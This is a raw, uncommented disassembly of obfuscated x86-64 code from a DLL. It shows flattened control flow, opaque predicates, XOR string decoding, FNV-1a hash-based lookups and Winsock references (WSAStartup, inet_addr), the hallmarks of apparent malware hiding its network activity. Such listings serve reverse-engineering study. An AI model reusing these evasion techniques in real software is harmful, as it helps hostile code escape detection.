call fcn.180098b70
add rsp, 0x20
mov rcx, qword [rbp + 0xe0]
mov byte [rcx], al
mov eax, 0xc8677eba
jmp 0x180078ad0
mov rbx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rsi
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 1], al
sub rsp, 0x20
mov rcx, rsi
mov dl, 0x57
call fcn.180098b70
add rsp, 0x20
mov byte [rbx + 2], al
mov rax, qword [rbp + 0xc8]
mov eax, 0xf50a9273
jmp 0x180078ad0
mov eax, 0x74fa9cc4
mov rdi, qword [rbp + 0xf0]
jmp 0x180078ad0
mov byte [rdi], 0
add rdi, 1
cmp rdi, qword [rbp + 0x9b8]
mov eax, 0x74fa9cc4
mov ecx, 0x6da6b86
cmove eax, ecx
jmp 0x180078ad0
mov byte [rbp + 0xd8], al
mov al, byte [rbp + 0xd8]
mov rcx, qword [rbp + 0x9b8]
mov byte [rcx], al
mov rsi, qword [rbp + 0x9b8]
mov ecx, dword [0x180129c90]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl dl
cmovl ebx, r8d
setge al
xor al, cl
and dl, cl
xor dl, al
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop word cs:[rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180078cd0
cmp ecx, 0xfa630b3d
je 0x180078ce8
cmp ecx, 0x21a21833
je 0x180078cef
cmp ecx, 0x180fafe8
jne 0x180078ca0
mov ecx, edx
jmp 0x180078ca0
cmp ecx, 0x91c44eb1
je 0x18007958c
cmp ecx, 0xb9fa49fa
jne 0x180078ca0
mov ecx, ebx
jmp 0x180078ca0
mov ecx, 0xb9fa49fa
jmp 0x180078ca0
mov ecx, 0x180fafe8
jmp 0x180078ca0
mov dword [rbp + 0x9b8], 1
mov ecx, dword [rbp + 0x9b8]
movsx ecx, cl
add ecx, 0x54
mov edx, dword [0x180129cb8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edi, 0x43384baf
cmovne edi, r8d
mov edx, 0xef259028
cmove edx, esi
cmp dword [0x180129cbc], 0xa
cmovl edi, r9d
mov dword [rbp + 0x9b8], ecx
cmovl edx, esi
mov ecx, 0x506d9536
nop word cs:[rax + rax]
nop
cmp ecx, 0x43384bae
jle 0x180078d80
cmp ecx, 0x43384baf
je 0x180078d9d
cmp ecx, 0x506d9536
je 0x180078da4
cmp ecx, 0x72efc175
jne 0x180078d50
jmp 0x1800795d1
cmp ecx, 0xa0ec6678
je 0x180078da8
cmp ecx, 0xef259028
jne 0x180078d50
mov ecx, dword [rbp + 0x9b8]
mov ecx, 0xa0ec6678
jmp 0x180078d50
mov ecx, 0x72efc175
jmp 0x180078d50
mov ecx, edx
jmp 0x180078d50
mov ebx, dword [rbp + 0x9b8]
mov ecx, edi
jmp 0x180078d50
mov byte [rbp + 0xe0], cl
movzx ecx, byte [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edx, ebx
and edx, 0x76
or edx, 8
and ebx, 0x89
mov edi, ecx
and edi, 0x76
or edi, 0x81
and ecx, 0xffffff89
xor ecx, ebx
xor ecx, edi
xor ecx, edx
xor cl, 0x89
mov byte [r9 + 2], cl
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180078e15
cmp ecx, 0x71319a28
jne 0x180078e00
jmp 0x18007960c
mov ecx, 0x71319a28
jmp 0x180078e00
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop
cmp edx, 0xf22d6e9d
je 0x1800796c7
cmp edx, 0x35d4fac2
jne 0x180078e30
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180078e30
mov word [rbp + 0x9b8], dx
movzx edx, word [rbp + 0x9b8]
mov dword [rbp + 0xf0], edx
mov ebx, 0xf1216f95
cmp ebx, 0xa73b602f
je 0x180079799
cmp ebx, 0xf1216f95
jne 0x180078e70
mov edx, dword [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x180078e70
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12b], cl
mov dword [rbp + 0x9b8], 0x75
mov ecx, 0x1e41b6af
nop word cs:[rax + rax]
cmp ecx, 0x615460a8
jle 0x180078f40
cmp ecx, 0x7b913b8f
je 0x180078f54
cmp ecx, 0x713d3d7d
je 0x1800797dc
cmp ecx, 0x615460a9
jne 0x180078ef0
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180078f30
cmp eax, 0x8c3c334e
jne 0x180078f20
jmp 0x180078f5b
mov eax, 0x8c3c334e
jmp 0x180078f20
cmp ecx, 0x1b714e29
je 0x180078f6d
cmp ecx, 0x1e41b6af
jne 0x180078ef0
mov ecx, edx
jmp 0x180078ef0
mov ecx, 0x713d3d7d
jmp 0x180078ef0
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ecx, r10d
jmp 0x180078ef0
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x180078f92
cmp ecx, 0x8c3c334e
jne 0x180078f80
jmp 0x180078f99
mov ecx, 0x8c3c334e
jmp 0x180078f80
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x180078ef0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf22d6e9d
je 0x1800798d0
cmp edx, 0x35d4fac2
jne 0x180078fd0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180078fd0
mov cl, byte [rbp + 0xf0]
mov byte [rax + 3], cl
mov ecx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp ecx, 0x4bfbd828
je 0x180079999
cmp ecx, 0xbb92f901
jne 0x180079010
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x180079042
cmp ecx, 0xe93106a3
jne 0x180079030
jmp 0x180079049
mov ecx, 0xe93106a3
jmp 0x180079030
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x4f
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x180079010
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 1], cl
mov dword [rbp + 0xd8], 0x69
mov edx, 0x5429a614
nop word [rax + rax]
cmp edx, 0xa9452cee
je 0x180079a09
cmp edx, 0x5429a614
jne 0x180079090
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180079090
mov rcx, qword [rbp + 0x88]
sub rsp, 0x20
call fcn.180095710
add rsp, 0x20
mov ecx, dword [0x1801296a0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801296a4], 0xa
setl dl
or dl, cl
mov r8d, 0x7343bfbc
mov ecx, 0x9302de66
cmovne r8d, ecx
mov r9d, 0x7343bfbc
mov ecx, 0x181b9de8
cmovne r9d, ecx
mov edx, 0x28ad3f39
movabs r11, 0xcbf29ce484222325
jmp 0x180079160
mov edx, dword [rbp + 0xd8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov rdx, qword [rbp + 0x9b8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, dword [rbp + 0xc8]
mov edx, 0x181b9de8
nop word cs:[rax + rax]
cmp edx, 0xfe90a09b
jle 0x1800791d0
cmp edx, 0x333d8297
jle 0x180079220
cmp edx, 0x5cca55f4
jg 0x18007929a
cmp edx, 0x333d8298
je 0x18007935d
cmp edx, 0x33ec62ab
je 0x180079376
cmp edx, 0x42d422e5
jne 0x180079160
mov dword [rbp + 0xb0], edi
mov edx, dword [rbp + 0xb0]
movsx edx, byte [rax + rdx]
mov dword [rbp + 0xec], edx
mov edx, dword [rbp + 0xec]
cmp edx, 0x20
mov edx, 0xbb6ed30e
mov ebx, 0xfb306983
cmovge edx, ebx
jmp 0x180079160
cmp edx, 0xc5fd57a7
jle 0x180079260
cmp edx, 0xeb000b68
jg 0x1800792ca
cmp edx, 0xc5fd57a8
je 0x180079387
cmp edx, 0xd1e81d16
je 0x180079396
cmp edx, 0xd597d4ff
jne 0x180079160
mov edx, 0x42d422e5
mov edi, dword [rbp + 0xd4]
jmp 0x180079160
cmp edx, 0x12a1b9d7
jle 0x1800792fc
cmp edx, 0x12a1b9d8
je 0x1800793af
cmp edx, 0x181b9de8
je 0x1800793be
cmp edx, 0x28ad3f39
jne 0x180079160
mov edx, 0x73f80f82
jmp 0x180079160
cmp edx, 0xb163ad29
jle 0x18007932e
cmp edx, 0xb163ad2a
je 0x1800793f8
cmp edx, 0xb9d33223
je 0x180079425
cmp edx, 0xbb6ed30e
jne 0x180079160
mov edx, 0x12a1b9d8
jmp 0x180079160
cmp edx, 0x5cca55f5
je 0x180079436
cmp edx, 0x7343bfbc
je 0x180079112
cmp edx, 0x73f80f82
jne 0x180079160
mov edx, 0x42d422e5
xor edi, edi
jmp 0x180079160
cmp edx, 0xeb000b69
je 0x18007944f
cmp edx, 0xfb306983
jne 0x1800794c6
mov edx, dword [rbp + 0xec]
cmp edx, 0x7f
setl byte [rbp + 0xc7]
mov edx, 0x333d8298
jmp 0x180079160
cmp edx, 0xfe90a09c
je 0x18007947a
cmp edx, 0x1dd0b01
jne 0x180079160
mov edx, dword [rbp + 0xe8]
cmp edx, 0x5b
setl byte [rbp + 0xa4]
mov edx, 0xd1e81d16
jmp 0x180079160
cmp edx, 0x87cbc1a8
je 0x1800794ac
cmp edx, 0x9302de66
jne 0x180079160
mov rcx, qword [rbp + 0xf0]
mov edx, 0xb163ad2a
mov esi, dword [rbp + 0xb8]
jmp 0x180079160
cmp byte [rbp + 0xc7], 0
mov edx, 0xbb6ed30e
mov ebx, 0x5cca55f5
cmovne edx, ebx
jmp 0x180079160
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xa8]
jmp 0x180079160
mov dword [rbp + 0xd8], r10d
mov edx, r9d
jmp 0x180079160
cmp byte [rbp + 0xa4], 0
mov edx, 0xb9d33223
mov ebx, 0xfe90a09c
cmovne edx, ebx
jmp 0x180079160
mov edx, 0xb163ad2a
xor esi, esi
mov rcx, r11
jmp 0x180079160
movsxd rdx, dword [rbp + 0xd8]
xor rdx, qword [rbp + 0x9b8]
movabs rbx, 0x100000001b3
imul rdx, rbx
mov qword [rbp + 0xf0], rdx
mov edx, dword [rbp + 0xc8]
add edx, 1
mov dword [rbp + 0xb8], edx
mov edx, r8d
jmp 0x180079160
mov dword [rbp + 0xc8], esi
mov qword [rbp + 0x9b8], rcx
mov edx, dword [rbp + 0xb0]
mov ebx, dword [rbp + 0xc8]
cmp ebx, edx
mov edx, 0xf6d6bd87
mov ebx, 0x87cbc1a8
cmovb edx, ebx
jmp 0x180079160
mov edx, 0xc5fd57a8
mov r10d, dword [rbp + 0xe8]
jmp 0x180079160
mov edx, dword [rbp + 0xb0]
add edx, 1
mov dword [rbp + 0xd4], edx
mov edx, 0xd597d4ff
jmp 0x180079160
mov rdx, qword [rbp + 0xe0]
movsx edx, byte [rdx]
mov dword [rbp + 0xe8], edx
mov edx, dword [rbp + 0xe8]
cmp edx, 0x41
mov edx, 0xb9d33223
mov ebx, 0x1dd0b01
cmovge edx, ebx
jmp 0x180079160
mov edx, dword [rbp + 0xe8]
mov ebx, edx
and ebx, 0x72963832
or ebx, 0x8d414380
and edx, 0x8d69c7ed
xor edx, ebx
xor edx, 0x8d4143a0
mov dword [rbp + 0xa8], edx
mov edx, 0x33ec62ab
jmp 0x180079160
mov edx, dword [rbp + 0xc8]
add rdx, rax
mov qword [rbp + 0xe0], rdx
mov edx, 0xeb000b69
jmp 0x180079160
cmp edx, 0xf6d6bd87
jne 0x180079160
mov rcx, qword [rbp + 0x9b8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rdx, qword [rbp + 0x60]
mov rcx, qword [rbp + 0x40]
mov rbx, qword [rbp + 0x98]
sub rsp, 0x50
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
movups xmmword [rsp + 0x30], xmm6
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call rax
add rsp, 0x50
mov rax, qword [rbp + 0x58]
mov rcx, qword [rax + 0x10]
sub rsp, 0x20
mov edx, 2
call fcn.1800d7210
add rsp, 0x20
mov rax, qword [rbp + 0x80]
mov rax, qword [rbp + 0x80]
mov ecx, 0x46cf7080
mov r8d, 0xef259028
mov r9d, 0x43384baf
mov esi, 0xa0ec6678
nop word cs:[rax + rax]
nop
cmp ecx, 0x46cf7080
je 0x180079585
cmp ecx, 0x72115a2d
jne 0x180079570
jmp 0x180079a51
mov ecx, 0x72115a2d
jmp 0x180079570
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x79
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop dword [rax + rax]
cmp edx, 0x3226a3c6
je 0x180079b02
cmp edx, 0xccf8862c
jne 0x1800795b0
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x1800795b0
mov byte [rbp + 0xf0], bl
mov cl, byte [rbp + 0xf0]
mov byte [rax], cl
mov ecx, 0x46cf7080
nop word cs:[rax + rax]
nop
cmp ecx, 0x46cf7080
je 0x180079605
cmp ecx, 0x72115a2d
jne 0x1800795f0
jmp 0x180079bb6
mov ecx, 0x72115a2d
jmp 0x1800795f0
mov ecx, dword [0x180129c98]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edi, 0xbe73cc8d
cmovne edi, r13d
mov dword [rbp + 0xf0], 0x31
mov ebx, 0x926a4418
cmove ebx, r12d
cmp dword [0x180129c9c], 0xa
cmovl edi, r15d
mov byte [rbp + 0xd8], r8b
cmovl ebx, r12d
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x180079690
cmp edx, 0x926a4418
je 0x1800796ae
cmp edx, 0xbe73cc8d
je 0x1800796bc
cmp edx, 0xe39c1de6
jne 0x180079660
jmp 0x180079c72
cmp edx, 0x8bbf196b
je 0x1800796c3
cmp edx, 0x8f01ddc2
jne 0x180079660
movzx ecx, byte [rbp + 0xd8]
add cl, 2
mov edx, edi
jmp 0x180079660
movzx edx, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x180079660
mov edx, 0xe39c1de6
jmp 0x180079660
mov edx, ebx
jmp 0x180079660
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 2], al
mov dword [rbp + 0xd8], 0x74
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
cmp ecx, 0xff9fb55d
jle 0x180079770
cmp ecx, 0x75847964
je 0x18007978e
cmp ecx, 0x64823d8c
je 0x180079cdc
cmp ecx, 0xff9fb55e
jne 0x180079730
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180079730
cmp ecx, 0xabbc78b9
je 0x180079795
cmp ecx, 0xf18f601f
jne 0x180079730
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180079730
mov ecx, 0x64823d8c
jmp 0x180079730
mov ecx, edx
jmp 0x180079730
mov dword [rbp + 0x9b8], edx
mov edx, dword [rbp + 0x9b8]
mov word [rcx + 4], dx
mov dword [rbp + 0xe0], 0x63
movzx edx, word [rax]
mov ebx, 0xeabf51c2
nop dword [rax + rax]
cmp ebx, 0xeabf51c2
je 0x1800797d5
cmp ebx, 0x4bd3432e
jne 0x1800797c0
jmp 0x180079d17
mov ebx, 0x4bd3432e
jmp 0x1800797c0
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12c], cl
mov dword [rbp + 0x9b8], 0x65
mov ecx, 0x1e41b6af
nop word cs:[rax + rax]
nop
cmp ecx, 0x615460a8
jle 0x180079860
cmp ecx, 0x7b913b8f
je 0x180079874
cmp ecx, 0x713d3d7d
je 0x180079d7d
cmp ecx, 0x615460a9
jne 0x180079810
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180079850
cmp eax, 0x8c3c334e
jne 0x180079840
jmp 0x18007987b
mov eax, 0x8c3c334e
jmp 0x180079840
cmp ecx, 0x1b714e29
je 0x18007988d
cmp ecx, 0x1e41b6af
jne 0x180079810
mov ecx, edx
jmp 0x180079810
mov ecx, 0x713d3d7d
jmp 0x180079810
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ecx, r10d
jmp 0x180079810
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x1800798b2
cmp ecx, 0x8c3c334e
jne 0x1800798a0
jmp 0x1800798b9
mov ecx, 0x8c3c334e
jmp 0x1800798a0
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x180079810
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 2], al
mov dword [rbp + 0xd8], 0x74
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop dword [rax]
cmp ecx, 0xff9fb55d
jle 0x180079970
cmp ecx, 0x75847964
je 0x18007998e
cmp ecx, 0x64823d8c
je 0x180079e70
cmp ecx, 0xff9fb55e
jne 0x180079930
mov rax, qword [rbp + 0xf0]
movzx eax, byte [rax]
mov byte [rbp + 0xe0], al
mov ecx, ebx
jmp 0x180079930
cmp ecx, 0xabbc78b9
je 0x180079995
cmp ecx, 0xf18f601f
jne 0x180079930
mov rax, qword [rbp + 0xf0]
mov ecx, 0xff9fb55e
jmp 0x180079930
mov ecx, 0x64823d8c
jmp 0x180079930
mov ecx, edx
jmp 0x180079930
mov cl, byte [rbp + 0xf0]
mov byte [rax + 4], cl
mov ecx, 0xbb92f901
nop word [rax + rax]
cmp ecx, 0x4bfbd828
je 0x180079eb7
cmp ecx, 0xbb92f901
jne 0x1800799b0
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x1800799e2
cmp ecx, 0xe93106a3
jne 0x1800799d0
jmp 0x1800799e9
mov ecx, 0xe93106a3
jmp 0x1800799d0
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x70
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x1800799b0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 2], cl
mov dword [rbp + 0xd8], 0x7c
mov edx, 0x5429a614
nop word [rax + rax]
cmp edx, 0xa9452cee
je 0x180079f29
cmp edx, 0x5429a614
jne 0x180079a30
mov ecx, dword [rbp + 0xd8]
mov edx, 0xa9452cee
jmp 0x180079a30
mov dword [rbp + 0x9b8], 1
mov ecx, dword [rbp + 0x9b8]
movsx ecx, cl
add ecx, 0x54
mov edx, dword [0x180129cb8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edi, 0x43384baf
cmovne edi, r8d
mov edx, 0xef259028
cmove edx, esi
cmp dword [0x180129cbc], 0xa
cmovl edi, r9d
mov dword [rbp + 0x9b8], ecx
cmovl edx, esi
mov ecx, 0x506d9536
cmp ecx, 0x43384bae
jle 0x180079ad0
cmp ecx, 0x43384baf
je 0x180079aed
cmp ecx, 0x506d9536
je 0x180079af4
cmp ecx, 0x72efc175
jne 0x180079aa0
jmp 0x180079f9e
cmp ecx, 0xa0ec6678
je 0x180079af8
cmp ecx, 0xef259028
jne 0x180079aa0
mov ecx, dword [rbp + 0x9b8]
mov ecx, 0xa0ec6678
jmp 0x180079aa0
mov ecx, 0x72efc175
jmp 0x180079aa0
mov ecx, edx
jmp 0x180079aa0
mov ebx, dword [rbp + 0x9b8]
mov ecx, edi
jmp 0x180079aa0
mov byte [rbp + 0xd8], cl
mov al, byte [rbp + 0xd8]
mov byte [rsi + 1], al
mov eax, dword [0x180129c90]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
mov ebx, 0xfa630b3d
cmove ebx, r8d
cmp dword [0x180129c94], 0xa
setl cl
cmovl ebx, r8d
setge dl
xor dl, al
and cl, al
xor cl, dl
mov edx, 0xb9fa49fa
cmovne edx, r9d
mov ecx, 0x21a21833
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xfa630b3c
jle 0x180079b90
cmp ecx, 0xfa630b3d
je 0x180079ba8
cmp ecx, 0x21a21833
je 0x180079baf
cmp ecx, 0x180fafe8
jne 0x180079b60
mov ecx, edx
jmp 0x180079b60
cmp ecx, 0x91c44eb1
je 0x180079fdc
cmp ecx, 0xb9fa49fa
jne 0x180079b60
mov ecx, ebx
jmp 0x180079b60
mov ecx, 0xb9fa49fa
jmp 0x180079b60
mov ecx, 0x180fafe8
jmp 0x180079b60
mov byte [rbp + 0xe0], cl
movzx ecx, byte [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edx, ebx
and edx, 0x76
or edx, 8
and ebx, 0x89
mov edi, ecx
and edi, 0x76
or edi, 0x81
and ecx, 0xffffff89
xor ecx, ebx
xor ecx, edi
xor ecx, edx
xor cl, 0x89
mov byte [r9 + 3], cl
mov ecx, 0x8c53169d
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x8c53169d
je 0x180079cd5
cmp ecx, 0x71319a28
jne 0x180079cc0
jmp 0x18007a05c
mov ecx, 0x71319a28
jmp 0x180079cc0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop
cmp edx, 0xf22d6e9d
je 0x18007a117
cmp edx, 0x35d4fac2
jne 0x180079cf0
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180079cf0
mov word [rbp + 0x9b8], dx
movzx edx, word [rbp + 0x9b8]
mov dword [rbp + 0xf0], edx
mov ebx, 0xf1216f95
cmp ebx, 0xa73b602f
je 0x18007a1e9
cmp ebx, 0xf1216f95
jne 0x180079d30
mov edx, dword [rbp + 0xe0]
mov ebx, dword [rbp + 0xf0]
mov edi, ebx
and edi, 0x59c4d2ac
or edi, 0x4190900
xor ebx, edx
and edx, 0x59c4d2ac
and ebx, 0xa63b2d53
or edx, 0x4190900
xor edx, ebx
xor edx, edi
mov ebx, 0xa73b602f
jmp 0x180079d30
mov byte [rbp + 0xf0], al
mov al, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0x9b8]
add cl, al
mov byte [rbp + 0x12d], cl
mov dword [rbp + 0x9b8], WSAStartup
mov ecx, 0x1e41b6af
nop word cs:[rax + rax]
cmp ecx, 0x615460a8
jle 0x180079e00
cmp ecx, 0x7b913b8f
je 0x180079e14
cmp ecx, 0x713d3d7d
je 0x18007a579
cmp ecx, 0x615460a9
jne 0x180079db0
mov eax, 0x9210f659
nop dword [rax]
cmp eax, 0x9210f659
je 0x180079df0
cmp eax, 0x8c3c334e
jne 0x180079de0
jmp 0x180079e1b
mov eax, 0x8c3c334e
jmp 0x180079de0
cmp ecx, 0x1b714e29
je 0x180079e2d
cmp ecx, 0x1e41b6af
jne 0x180079db0
mov ecx, edx
jmp 0x180079db0
mov ecx, 0x713d3d7d
jmp 0x180079db0
mov byte [rbp + 0xf0], 9
mov al, byte [rbp + 0xf0]
mov ecx, r10d
jmp 0x180079db0
mov ecx, 0x9210f659
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x9210f659
je 0x180079e52
cmp ecx, 0x8c3c334e
jne 0x180079e40
jmp 0x180079e59
mov ecx, 0x8c3c334e
jmp 0x180079e40
mov byte [rbp + 0xf0], 9
mov cl, byte [rbp + 0xf0]
mov ecx, 0x615460a9
jmp 0x180079db0
movsx eax, byte [rbp + 0xe0]
mov dword [rbp + 0xe0], eax
mov edx, 0x35d4fac2
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xf22d6e9d
je 0x18007a670
cmp edx, 0x35d4fac2
jne 0x180079e90
mov ecx, dword [rbp + 0xd8]
xor ecx, dword [rbp + 0xe0]
mov edx, 0xf22d6e9d
jmp 0x180079e90
mov cl, byte [rbp + 0xf0]
mov byte [rax + 5], cl
mov ecx, 0xbb92f901
nop word cs:[rax + rax]
nop
cmp ecx, 0x4bfbd828
je 0x18007a739
cmp ecx, 0xbb92f901
jne 0x180079ed0
mov ecx, 0x9c071d3a
nop dword [rax]
cmp ecx, 0x9c071d3a
je 0x180079f02
cmp ecx, 0xe93106a3
jne 0x180079ef0
jmp 0x180079f09
mov ecx, 0xe93106a3
jmp 0x180079ef0
mov qword [rbp + 0x9b8], rbx
mov rcx, qword [rbp + 0x9b8]
mov cl, byte [rcx]
xor cl, 0x65
mov byte [rbp + 0xf0], cl
mov ecx, 0x4bfbd828
jmp 0x180079ed0
mov byte [rbp + 0xc8], cl
mov cl, byte [rbp + 0xc8]
mov byte [rax + 3], cl
mov byte [rax + 4], 0
sub rsp, 0x20
mov rcx, r14
call fcn.180094220
lea rcx, [rbp + 0x9f0]
mov rdx, rax
call fcn.180094070
add rsp, 0x20
mov rdx, qword [rbp + 0x50]
sub rsp, 0x20
lea rcx, [rbp + 0x108]
lea r8, [0x18011fa3b]
call fcn.1801082f4
movabs r11, 0xcbf29ce484222325
add rsp, 0x20
cmp qword [rbp + 0x108], 0
mov eax, 0xa7d22fe2
mov ecx, 0xdd99aa2c
cmove eax, ecx
jmp 0x180074cd0
mov byte [rbp + 0xf0], bl
mov cl, byte [rbp + 0xf0]
mov byte [rax], cl
mov ecx, 0x46cf7080
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0x46cf7080
je 0x180079fd5
cmp ecx, 0x72115a2d
jne 0x180079fc0
jmp 0x18007a7a9
mov ecx, 0x72115a2d
jmp 0x180079fc0
mov byte [rbp + 0xe0], reloc.WS2_32.dll_inet_addr
movsx eax, byte [rbp + 0xe0]
add eax, 0x56
mov dword [rbp + 0xe0], eax
mov edx, 0xccf8862c
nop dword [rax + rax]
cmp edx, 0x3226a3c6
je 0x18007a862
cmp edx, 0xccf8862c
jne 0x18007a000
mov ecx, dword [rbp + 0xe0]
mov edx, 0x3226a3c6
jmp 0x18007a000
mov ecx, dword [0x180129c98]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
mov edi, 0xbe73cc8d
cmovne edi, r13d
mov dword [rbp + 0xf0], 0xd
mov ebx, 0x926a4418
cmove ebx, r12d
cmp dword [0x180129c9c], 0xa
cmovl edi, r15d
mov byte [rbp + 0xd8], r8b
cmovl ebx, r12d
mov edx, 0x8bbf196b
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x926a4417
jle 0x18007a0e0
cmp edx, 0x926a4418
je 0x18007a0fe
cmp edx, 0xbe73cc8d
je 0x18007a10c
cmp edx, 0xe39c1de6
jne 0x18007a0b0
jmp 0x18007a9d2
cmp edx, 0x8bbf196b
je 0x18007a113
cmp edx, 0x8f01ddc2
jne 0x18007a0b0
movzx ecx, byte [rbp + 0xd8]
add cl, 3
mov edx, edi
jmp 0x18007a0b0
movzx edx, byte [rbp + 0xd8]
mov edx, 0x8f01ddc2
jmp 0x18007a0b0
mov edx, 0xe39c1de6
jmp 0x18007a0b0
mov edx, ebx
jmp 0x18007a0b0
mov dword [rbp + 0xf0], ecx
mov eax, dword [rbp + 0xf0]
mov byte [rsi + 3], al
mov dword [rbp + 0xd8], 0x4d
mov qword [rbp + 0xf0], r14
mov eax, dword [0x180129ca0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete al
mov ebx, 0xf18f601f
cmove ebx, r8d
cmp dword [0x180129ca4], 0xa
cmovl ebx, r8d
setl dl
xor cl, dl
and al, dl
xor al, cl
mov edx, 0xff9fb55e
cmovne edx, r9d
mov ecx, 0xabbc78b9
nop word cs:[rax + rax]
nop
